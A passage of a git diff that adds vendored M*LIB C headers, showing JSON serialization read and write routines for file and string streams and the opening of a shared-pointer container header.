+   Return M_SERIAL_OK_CONTINUE if it succeeds and the variant continues,
+   Return M_SERIAL_OK_DONE if it succeeds and the variant ends(variant is empty),
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_variant_start(m_serial_local_t local, m_serial_read_t serial, const char *const field_name[], const int max, int*id)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+
+  int final1 = -1, final2 = -1;
+  // TODO: Accept 'null' as empty variant? 
+  int nn = m_core_fscanf(f, " {%n }%n", &final1, &final2);
+  (void) nn ; // Unused. Check is done through final (more robust).
+  // Test how much the parsing succeed.
+  if (final1 <= 0) return m_core_serial_fail();
+  if (final2 > 0)  return M_SERIAL_OK_DONE;
+
+  /* Read the field in the JSON */
+  char field[M_USE_IDENTIFIER_ALLOC+1];
+  nn = m_core_fscanf(f, " \"%" M_AS_STR(M_USE_IDENTIFIER_ALLOC) "[^ \t\n\"]\":%n", 
+                m_core_arg_size(field, M_USE_IDENTIFIER_ALLOC+1), &final2);
+  (void) nn ; // Unused. Check is done through final (more robust).
+  if (final2 <= 0) return m_core_serial_fail();
+
+  /* Linear Search for field in field_name */
+  for(int n = 0; n < max; n++) {
+    if (strcmp(field, field_name[n]) == 0) {
+      *id = n;
+      return M_SERIAL_OK_CONTINUE;
+    }
+  }
+  // Field not found
+  return m_core_serial_fail();
+}
+
+/* End reading a variant from the stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds and the variant ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_variant_end(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  int final = -1;
+  int n = m_core_fscanf(f, " }%n", &final);
+  (void) n ; // Unused. Check is done through final (more robust).
+  return final > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+static const m_serial_read_interface_t m_ser1al_json_read_interface = {
+  m_ser1al_json_read_boolean,
+  m_ser1al_json_read_integer,
+  m_ser1al_json_read_float,
+  m_ser1al_json_read_string,
+  m_ser1al_json_read_array_start,
+  m_ser1al_json_read_array_next,
+  m_ser1al_json_read_map_start,
+  m_ser1al_json_read_map_value,
+  m_ser1al_json_read_map_next,
+  m_ser1al_json_read_tuple_start,
+  m_ser1al_json_read_tuple_id,
+  m_ser1al_json_read_variant_start,
+  m_ser1al_json_read_variant_end
+};
+
+/* Initialize the JSON serial object for reading any object from JSON format in the given FILE */
+M_INLINE void m_serial_json_read_init(m_serial_read_t serial, FILE *f)
+{
+  serial->m_interface = &m_ser1al_json_read_interface;
+  serial->data[0].p = M_ASSIGN_CAST(void*, f);
+}
+
+/* Clear the JSON serial object for reading from the FILE */
+M_INLINE void m_serial_json_read_clear(m_serial_read_t serial)
+{
+  (void) serial; // Nothing to do
+}
+
+/* Define a synonym of m_serial_read_t 
+  to the JSON serializer with its proper OPLIST */
+typedef m_serial_read_t m_serial_json_read_t;
+#define M_OPL_m_serial_json_read_t()                                          \
+  (INIT_WITH(m_serial_json_read_init), CLEAR(m_serial_json_read_clear),       \
+  TYPE(m_serial_json_read_t) , PROPERTIES(( LET_AS_INIT_WITH(1) )) )
+
+
+
+/********************************************************************************/
+/************************** STRING / WRITE / JSON *******************************/
+/********************************************************************************/
+
+/* Write the boolean 'data' into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_boolean, m_serial_write_t serial, const bool data)
+{
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+//TODO: Simplify code.
+  int n = m_string_cat_printf M_R(f, "%s", data ? "true" : "false");
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the integer 'data' of 'size_of_type' bytes into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_integer, m_serial_write_t serial, const long long data, const size_t size_of_type)
+{
+  (void) size_of_type; // Ignored
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  int n = m_string_cat_printf M_R(f, "%lld", data);
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();  
+}
+
+/* Write the float 'data' of 'size_of_type' bytes into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_float, m_serial_write_t serial, const long double data, const size_t size_of_type)
+{
+  (void) size_of_type; // Ignored
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  int n = m_string_cat_printf M_R(f, "%Lf", data);
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the null-terminated string 'data'into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_string, m_serial_write_t serial, const char data[], size_t length)
+{
+  M_ASSERT(length == (m_str1ng_size_t) length);
+  M_ASSERT_SLOW(length == strlen(data) );
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  M_ASSERT(f != NULL && data != NULL);
+  /* HACK: Build dummy string to reuse m_string_get_str */
+  m_string_t v2;
+  uintptr_t ptr = (uintptr_t) data;
+  v2->u.heap.size = (m_str1ng_size_t) length;
+  v2->u.heap.alloc[sizeof(m_str1ng_size_t)-2] = 1;
+  v2->u.heap.alloc[sizeof(m_str1ng_size_t)-1] = 31;
+  v2->u.heap.ptr = (char*)ptr;
+  m_string_get_str M_R(f, v2, true);
+  return M_SERIAL_OK_DONE;
+}
+
+/* Start writing an array of 'number_of_elements' objects into the serial stream 'serial'.
+   If 'number_of_elements' is 0, then either the array has no data,
+   or the number of elements of the array is unkown.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_array_start, m_serial_local_t local, m_serial_write_t serial, const size_t number_of_elements)
+{
+  (void) local; // argument not used
+  (void) number_of_elements; // Ignored
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, '[');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Write an array separator between elements of an array into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_array_next, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, ',');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* End the writing of an array into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_array_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, ']');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start writing a map of 'number_of_elements' pairs of objects into the serial stream 'serial'.
+   If 'number_of_elements' is 0, then either the map has no data,
+   or the number of elements is unkown.
+   Initialize 'local' so that it can be used to serialize the map 
+   (local is an unique serialization object of the map).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_map_start, m_serial_local_t local, m_serial_write_t serial, const size_t number_of_elements)
+{
+  (void) local; // argument not used
+  (void) number_of_elements; // Ignored
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, '{');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Write a value separator between element of the same pair of a map into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_map_value, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, ':');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Write a map separator between elements of a map into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_map_next, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, ',');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* End the writing of a map into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_map_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, '}');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start writing a tuple into the serial stream 'serial'.
+   Initialize 'local' so that it can serial the tuple 
+   (local is an unique serialization object of the tuple).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_tuple_start, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, '{');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start writing the field named field_name[index] of a tuple into the serial stream 'serial'.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_tuple_id, m_serial_local_t local, m_serial_write_t serial, const char *const field_name[], const int max, const int index)
+{
+  (void) local; // argument not used
+  (void) max; // Ignored
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  int n = m_string_cat_printf M_R(f, "%c\"%s\":", index == 0 ? ' ' : ',', field_name[index]);
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* End the write of a tuple into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_tuple_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, '}');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start writing a variant into the serial stream 'serial'.
+   If index <= 0, the variant is empty.
+     Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise 
+   Otherwise, the field 'field_name[index]' will be filled.
+     Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_variant_start, m_serial_local_t local, m_serial_write_t serial, const char *const field_name[], const int max, const int index)
+{
+  (void) local; // argument not used
+  (void) max; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  int n;
+  if (index >= 0) {
+    M_ASSERT (index < max);
+    n = m_string_cat_printf M_R(f, "{\"%s\":", field_name[index]);
+    return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+  } else {
+    n = m_string_cat_printf M_R(f, "{}");
+    return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+  }
+}
+
+/* End Writing a variant into the serial stream 'serial'. 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _write_variant_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  (void) local; // argument not used
+  struct m_string_s *f = (struct m_string_s *)serial->data[0].p;
+  m_string_push_back M_R(f, '}');
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* The internal exported interface of m_serial_write_json. */
+static const m_serial_write_interface_t m_ser1al_str_json_write_interface = {
+  m_ser1al_str_json_write_boolean,
+  m_ser1al_str_json_write_integer,
+  m_ser1al_str_json_write_float,
+  m_ser1al_str_json_write_string,
+  m_ser1al_str_json_write_array_start,
+  m_ser1al_str_json_write_array_next,
+  m_ser1al_str_json_write_array_end,
+  m_ser1al_str_json_write_map_start,
+  m_ser1al_str_json_write_map_value,
+  m_ser1al_str_json_write_map_next,
+  m_ser1al_str_json_write_map_end,
+  m_ser1al_str_json_write_tuple_start,
+  m_ser1al_str_json_write_tuple_id,
+  m_ser1al_str_json_write_tuple_end,
+  m_ser1al_str_json_write_variant_start,
+  m_ser1al_str_json_write_variant_end
+};
+
+/* Initialize the JSON serial object for writing any object to JSON format in the given FILE */
+M_INLINE void m_serial_str_json_write_init(m_serial_write_t serial, m_string_t s)
+{
+  serial->m_interface = &m_ser1al_str_json_write_interface;
+  serial->data[0].p = M_ASSIGN_CAST(struct m_string_s *, s);
+}
+
+/* CLear the JSON serial object for writing*/
+M_INLINE void m_serial_str_json_write_clear(m_serial_write_t serial)
+{
+  (void) serial; // Nothing to do
+}
+
+/* Define a synonym to the JSON serializer with a proper OPLIST */
+typedef m_serial_write_t m_serial_str_json_write_t;
+#define M_OPL_m_serial_str_json_write_t()                                     \
+  (INIT_WITH(m_serial_str_json_write_init), CLEAR(m_serial_str_json_write_clear), \
+  TYPE(m_serial_str_json_write_t) , PROPERTIES(( LET_AS_INIT_WITH(1) )) )
+
+
+
+/********************************************************************************/
+/************************** STRING / READ  / JSON *******************************/
+/********************************************************************************/
+
+/* Helper function to read a character and advance the stream */
+M_INLINE char
+m_ser1al_str_json_getc(const char **p)
+{
+  char c = **p;
+  // Once it reaches the end of string character (== 0), stop advancing the stream.
+  *p = *p + (c != 0);
+  return c;
+}
+
+/* Helper function to skip space(s) */
+M_INLINE void
+m_ser1al_str_json_skip (const char **p)
+{
+  (void) m_core_str_nospace(p);
+  (*p)--;
+}
+
+/* Helper function to read a string with characters not present in reject */
+M_INLINE void
+m_ser1al_str_json_gets(size_t alloc, char field[], const char reject[], const char **s)
+{
+  M_ASSERT (alloc > 0);
+  size_t length = strcspn(*s, reject);
+  if (length >= alloc-1)
+    length = alloc - 1;
+  memcpy(field, *s, length);
+  field[length] = 0;
+  *s += length;
+}
+
+/* Read from the stream 'serial' a boolean.
+   Set '*b' with the boolean value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_boolean(m_serial_read_t serial, bool *b){
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  if (c == 't') {
+    *b = true;
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 'r')) return m_core_serial_fail();
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 'u')) return m_core_serial_fail();
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 'e')) return m_core_serial_fail();
+    return M_SERIAL_OK_DONE;
+  } else if (M_LIKELY(c == 'f')) {
+    *b = false;
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 'a')) return m_core_serial_fail();
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 'l')) return m_core_serial_fail();
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 's')) return m_core_serial_fail();
+    c = m_ser1al_str_json_getc(f);
+    if (M_UNLIKELY(c != 'e')) return m_core_serial_fail();
+    return M_SERIAL_OK_DONE;
+  } else {
+    return m_core_serial_fail();
+  }
+}
+
+/* Read from the stream 'serial' an integer that can be represented with 'size_of_type' bytes.
+   Set '*i' with the integer value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_integer(m_serial_read_t serial, long long *i, const size_t size_of_type){
+  (void) size_of_type; // Ignored
+  const char **f = &serial->data[0].cstr;
+  char *e;
+  *i = strtoll(*f, &e, 10);
+  bool b = e != *f;
+  serial->data[0].cstr = (const char*) e;
+  return b ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Read from the stream 'serial' a float that can be represented with 'size_of_type' bytes.
+   Set '*r' with the boolean value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_float(m_serial_read_t serial, long double *r, const size_t size_of_type){
+  (void) size_of_type; // Ignored
+  const char **f = &serial->data[0].cstr;
+  char *e;
+  *r = strtold(*f, &e);
+  bool b = e != *f;
+  serial->data[0].cstr = (const char*) e;
+  return b ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Read from the stream 'serial' a string.
+   Set 's' with the string if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_str_json, _read_string, m_serial_read_t serial, struct m_string_s *s)
+{
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  const char *e;
+  bool b = m_string_parse_str M_R(s, *f, &e);
+  serial->data[0].cstr = e;
+  return b ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading from the stream 'serial' an array.
+   Set '*num' with the number of elements, or 0 if it is not known.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the array continue,
+   M_SERIAL_OK_DONE if it succeeds and the array ends (the array is empty),
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_array_start(m_serial_local_t local, m_serial_read_t serial, size_t *num)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY(c != '[')) {
+    return m_core_serial_fail();
+  }
+  *num = 0; // Don't know the size of the array.
+  m_ser1al_str_json_skip(f);
+  if (M_UNLIKELY (**f == ']')) {
+    c = m_ser1al_str_json_getc(f);
+    assert( c == ']');
+    return M_SERIAL_OK_DONE;
+  } else {
+    return M_SERIAL_OK_CONTINUE;
+  }
+}
+
+/* Continue reading from the stream 'serial' an array.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the array continue,
+   M_SERIAL_OK_DONE if it succeeds and the array ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_array_next(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  return c == ',' ? M_SERIAL_OK_CONTINUE : c == ']' ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading from the stream 'serial' a map.
+   Set '*num' with the number of elements, or 0 if it is not known.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_OK_DONE if it succeeds and the map ends (the map is empty),
+   m_core_serial_fail() otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_map_start(m_serial_local_t local, m_serial_read_t serial, size_t *num)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY(c != '{')) {
+    return m_core_serial_fail();
+  }
+  *num = 0; // Don't know the size of the map
+  m_ser1al_str_json_skip(f);
+  if (M_UNLIKELY (**f == '}')) {
+    c = m_ser1al_str_json_getc(f);
+    assert(c == '}');
+    return M_SERIAL_OK_DONE;
+  } else {
+    return M_SERIAL_OK_CONTINUE;
+  }
+}
+
+/* Continue reading from the stream 'serial' the value separator
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_map_value(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  return c ==':' ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Continue reading from the stream 'serial' a map.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_OK_DONE if it succeeds and the map ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_map_next(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  return c == ',' ? M_SERIAL_OK_CONTINUE : c == '}' ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading a tuple from the stream 'serial'.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the tuple continues,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_tuple_start(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  return c == '{' ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Continue reading a tuple from the stream 'serial'.
+   Set '*id' with the corresponding index of the table 'field_name[max]'
+   associated to the parsed field in the stream.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the tuple continues,
+   Return M_SERIAL_OK_DONE if it succeeds and the tuple ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_tuple_id(m_serial_local_t local, m_serial_read_t serial, const char *const field_name [], const int max, int *id)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  char c = m_ser1al_str_json_getc(f);
+  if (c == 0) return m_core_serial_fail();
+  if (c == '}') return M_SERIAL_OK_DONE;
+  if (c == ',') {
+    // If first call of read_tuple_id, it is a failure
+    if (M_UNLIKELY (*id == -1)) return m_core_serial_fail();
+    m_ser1al_str_json_skip(f);
+    c = m_ser1al_str_json_getc(f);
+  }
+
+  /* Read the field in the JSON */
+  char field[M_USE_IDENTIFIER_ALLOC+1];
+  if (M_UNLIKELY(c != '"')) return m_core_serial_fail();
+  m_ser1al_str_json_gets(M_USE_IDENTIFIER_ALLOC+1, field, " \t\n\"", f);
+  c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY (c != '"')) return m_core_serial_fail();
+  c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY (c != ':')) return m_core_serial_fail();
+
+  /* Search for field in field_name */
+  for(int n = 0; n < max; n++) {
+    if (strcmp(field, field_name[n]) == 0) {
+      *id = n;
+      return M_SERIAL_OK_CONTINUE;
+    }
+  }
+  return m_core_serial_fail();
+}
+
+/* Start reading a variant from the stream 'serial'.
+   Set '*id' with the corresponding index of the table 'field_name[max]'
+   associated to the parsed field in the stream.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the variant continues,
+   Return M_SERIAL_OK_DONE if it succeeds and the variant ends(variant is empty),
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_variant_start(m_serial_local_t local, m_serial_read_t serial, const char *const field_name[], const int max, int*id)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  int c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY (c != '{'))
+    // TODO: Accept 'null' as empty variant? 
+    return m_core_serial_fail();
+  m_ser1al_str_json_skip(f);
+  c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY (c == '}')) return M_SERIAL_OK_DONE; // Empty variant
+
+  /* Read the field in the JSON */
+  char field[M_USE_IDENTIFIER_ALLOC+1];
+  if (M_UNLIKELY(c != '"')) return m_core_serial_fail();
+  m_ser1al_str_json_gets(M_USE_IDENTIFIER_ALLOC+1, field, " \t\n\"", f);
+  c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY (c != '"')) return m_core_serial_fail();
+  c = m_ser1al_str_json_getc(f);
+  if (M_UNLIKELY (c != ':')) return m_core_serial_fail();
+
+  /* Linear Search for field in field_name */
+  for(int n = 0; n < max; n++) {
+    if (strcmp(field, field_name[n]) == 0) {
+      *id = n;
+      return M_SERIAL_OK_CONTINUE;
+    }
+  }
+  // Field not found
+  return m_core_serial_fail();
+}
+
+/* End reading a variant from the stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds and the variant ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_str_json_read_variant_end(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  const char **f = &serial->data[0].cstr;
+  m_ser1al_str_json_skip(f);
+  int c = m_ser1al_str_json_getc(f);
+  return (M_UNLIKELY (c != '}')) ?  m_core_serial_fail() : M_SERIAL_OK_DONE;
+}
+
+static const m_serial_read_interface_t m_ser1al_str_json_read_interface = {
+  m_ser1al_str_json_read_boolean,
+  m_ser1al_str_json_read_integer,
+  m_ser1al_str_json_read_float,
+  m_ser1al_str_json_read_string,
+  m_ser1al_str_json_read_array_start,
+  m_ser1al_str_json_read_array_next,
+  m_ser1al_str_json_read_map_start,
+  m_ser1al_str_json_read_map_value,
+  m_ser1al_str_json_read_map_next,
+  m_ser1al_str_json_read_tuple_start,
+  m_ser1al_str_json_read_tuple_id,
+  m_ser1al_str_json_read_variant_start,
+  m_ser1al_str_json_read_variant_end
+};
+
+/* Initialize the JSON serial object for reading any object from JSON format in the given const string */
+M_INLINE void m_serial_str_json_read_init(m_serial_read_t serial, const char str[])
+{
+  serial->m_interface = &m_ser1al_str_json_read_interface;
+  serial->data[0].cstr = str;
+}
+
+/* Clear the JSON serial object for reading from the FILE */
+M_INLINE const char *m_serial_str_json_read_clear(m_serial_read_t serial)
+{
+  // Nothing to clear. Return pointer to the last data parsed.
+  return serial->data[0].cstr;
+}
+
+/* Define a synonym of m_serial_read_t 
+  to the JSON serializer with its proper OPLIST */
+typedef m_serial_read_t m_serial_str_json_read_t;
+#define M_OPL_m_serial_str_json_read_t()                                      \
+  (INIT_WITH(m_serial_str_json_read_init), CLEAR(m_serial_str_json_read_clear), \
+  TYPE(m_serial_str_json_read_t), PROPERTIES(( LET_AS_INIT_WITH(1) )) )
+
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-shared-ptr.h b/lib/subghz_unleashed_compat/include/mlib/m-shared-ptr.h
new file mode 100644
index 000000000..7d91991d2
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-shared-ptr.h
@@ -0,0 +1,1416 @@
+/*
+ * M*LIB - Shared Pointer container providing encapsulation and protected concurrent access.
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_SHARED_PTR2_H
+#define MSTARLIB_SHARED_PTR2_H
+
+#include "m-core.h"
+#include "m-atomic.h"
+#include "m-thread.h"
+
+/* There are two kinds of shared pointer:
+ * * weak shared pointer (support only one thread)
+ * * shared pointer (support for multiple threads both for the counter and lock for the data)
+ *
+ * There are 3 flavors:
+ * * DECL : for header files, declare only the functions.
+ * * DEF_EXTERN: for source files, define the functions (to be used with DECL)
+ * * DEF: for header/source files, define the function as static inline.
+ * 
+ * You can provide or not the name of the shared pointer (_AS)
+ * 
+ * Therefore we got 12 macros.
+ * 
+ * There are 2 oplists:
